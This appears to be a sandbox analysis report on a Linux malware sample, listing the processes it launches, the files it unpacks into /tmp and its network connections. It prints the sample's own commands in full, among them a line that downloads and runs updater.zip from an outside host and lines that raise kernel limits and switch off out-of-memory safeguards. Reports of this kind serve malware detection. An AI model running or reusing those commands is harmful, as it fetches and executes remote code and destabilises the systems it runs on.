Technical Information
Malicious functions:
Substitutes application name for:
- <SAMPLE>
Launches processes:
- <SAMPLE_FULL_PATH>
- sh -c ulimit -n 999999 || ulimit -n 99999 && ulimit -s 25600000 && ulimit -i 12000000 && echo 800000000 >/proc/sys/kernel/threads-max && echo 600000000 >cat /proc/sys/kernel/shmmni && echo 4000000 >/proc/sys/kernel/pid_max; sysctl -w fs.file-max=100000
- sysctl -w fs.file-max=100000
- sh -c echo 0 > /proc/sys/vm/panic_on_oom && echo 0 > cat /proc/sys/vm/oom_kill_allocating_task && echo 2 > cat /proc/sys/vm/overcommit_memory
- sh -c cd /tmp; (( apt update -y && apt install python3 wget -y ) || ( yum update -y && yum install epel-release -y && yum install python3 wget -y )); wget -O updater.zip http://repo.ark-event.net/downloads/updater.zip; python3 updater.zip && rm updater.zip && cd ~
- apt update -y
- /usr/bin/dpkg --print-foreign-architectures
- /usr/lib/apt/methods/http
Kills the following processes:
- /usr/lib/apt/methods/http
Performs operations with the file system:
Modifies file access rights:
- /tmp/_MEIV0eMBv/_cffi_backend.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/bcrypt/_bcrypt.abi3.so
- /tmp/_MEIV0eMBv/cryptography/hazmat/bindings/_openssl.abi3.so
- /tmp/_MEIV0eMBv/cryptography/hazmat/bindings/_rust.abi3.so
- /tmp/_MEIV0eMBv/lib-dynload/_asyncio.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_bz2.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_codecs_cn.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_codecs_hk.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_codecs_iso2022.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_codecs_jp.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_codecs_kr.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_codecs_tw.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_contextvars.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_ctypes.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_decimal.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_hashlib.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_json.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_lzma.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_multibytecodec.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_multiprocessing.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_opcode.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_posixshmem.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_queue.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_ssl.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/mmap.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/readline.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/resource.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/termios.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/libbz2.so.1.0
- /tmp/_MEIV0eMBv/libcrypto.so.1.0.0
- /tmp/_MEIV0eMBv/libexpat.so.1
- /tmp/_MEIV0eMBv/libffi-9c61262e.so.8.1.0
- /tmp/_MEIV0eMBv/libffi.so.6
- /tmp/_MEIV0eMBv/libgcc_s.so.1
- /tmp/_MEIV0eMBv/liblzma.so.5
- /tmp/_MEIV0eMBv/libmpdec.so.2
- /tmp/_MEIV0eMBv/libpython3.9.so.1.0
- /tmp/_MEIV0eMBv/libreadline.so.6
- /tmp/_MEIV0eMBv/libssl.so.1.0.0
- /tmp/_MEIV0eMBv/libtinfo.so.5
- /tmp/_MEIV0eMBv/libz.so.1
- /tmp/_MEIV0eMBv/nacl/_sodium.abi3.so
- /tmp/_MEIV0eMBv/base_library.zip
- /tmp/_MEIV0eMBv/certifi/cacert.pem
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/INSTALLER
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.APACHE
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.BSD
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.PSF
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/METADATA
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/RECORD
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/WHEEL
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/top_level.txt
Creates folders:
- /tmp/_MEIV0eMBv
- /tmp/_MEIV0eMBv/bcrypt
- /tmp/_MEIV0eMBv/cryptography
- /tmp/_MEIV0eMBv/cryptography/hazmat
- /tmp/_MEIV0eMBv/cryptography/hazmat/bindings
- /tmp/_MEIV0eMBv/lib-dynload
- /tmp/_MEIV0eMBv/nacl
- /tmp/_MEIV0eMBv/certifi
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info
Creates or modifies files:
- /tmp/_MEIV0eMBv/_cffi_backend.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/bcrypt/_bcrypt.abi3.so
- /tmp/_MEIV0eMBv/cryptography/hazmat/bindings/_openssl.abi3.so
- /tmp/_MEIV0eMBv/cryptography/hazmat/bindings/_rust.abi3.so
- /tmp/_MEIV0eMBv/lib-dynload/_asyncio.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_bz2.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_codecs_cn.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_codecs_hk.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_codecs_iso2022.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_codecs_jp.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_codecs_kr.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_codecs_tw.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_contextvars.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_ctypes.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_decimal.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_hashlib.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_json.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_lzma.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_multibytecodec.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_multiprocessing.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_opcode.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_posixshmem.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_queue.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/_ssl.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/mmap.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/readline.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/resource.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/lib-dynload/termios.cpython-39-x86_64-linux-gnu.so
- /tmp/_MEIV0eMBv/libbz2.so.1.0
- /tmp/_MEIV0eMBv/libcrypto.so.1.0.0
- /tmp/_MEIV0eMBv/libexpat.so.1
- /tmp/_MEIV0eMBv/libffi-9c61262e.so.8.1.0
- /tmp/_MEIV0eMBv/libffi.so.6
- /tmp/_MEIV0eMBv/libgcc_s.so.1
- /tmp/_MEIV0eMBv/liblzma.so.5
- /tmp/_MEIV0eMBv/libmpdec.so.2
- /tmp/_MEIV0eMBv/libpython3.9.so.1.0
- /tmp/_MEIV0eMBv/libreadline.so.6
- /tmp/_MEIV0eMBv/libssl.so.1.0.0
- /tmp/_MEIV0eMBv/libtinfo.so.5
- /tmp/_MEIV0eMBv/libz.so.1
- /tmp/_MEIV0eMBv/nacl/_sodium.abi3.so
- /tmp/_MEIV0eMBv/base_library.zip
- /tmp/_MEIV0eMBv/certifi/cacert.pem
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/INSTALLER
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.APACHE
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.BSD
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.PSF
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/METADATA
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/RECORD
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/WHEEL
- /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/top_level.txt
- /proc/sys/fs/file-max
- /proc/sys/vm/panic_on_oom
- /root/cat
- /var/lib/apt/lists/lock
- /var/lib/apt/lists/security.debian.org_dists_jessie_updates_InRelease
- /var/lib/apt/lists/ftp.ru.debian.org_debian_dists_jessie-updates_InRelease
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
- 15#.##1.66.132:80
- 15#.##1.130.132:80
- 15#.##1.194.132:80
- 15#.##1.2.132:80
- [2#####e42:400::644]:80
- [2#####e42:600::644]:80
- [2####4e42::644]:80
- [2#####e42:200::644]:80
- 85.###.112.112:80
DNS ASK:
- se####ty.debian.org
- ft#.##.debian.org
Other:
Collects CPU information
Collects RAM information
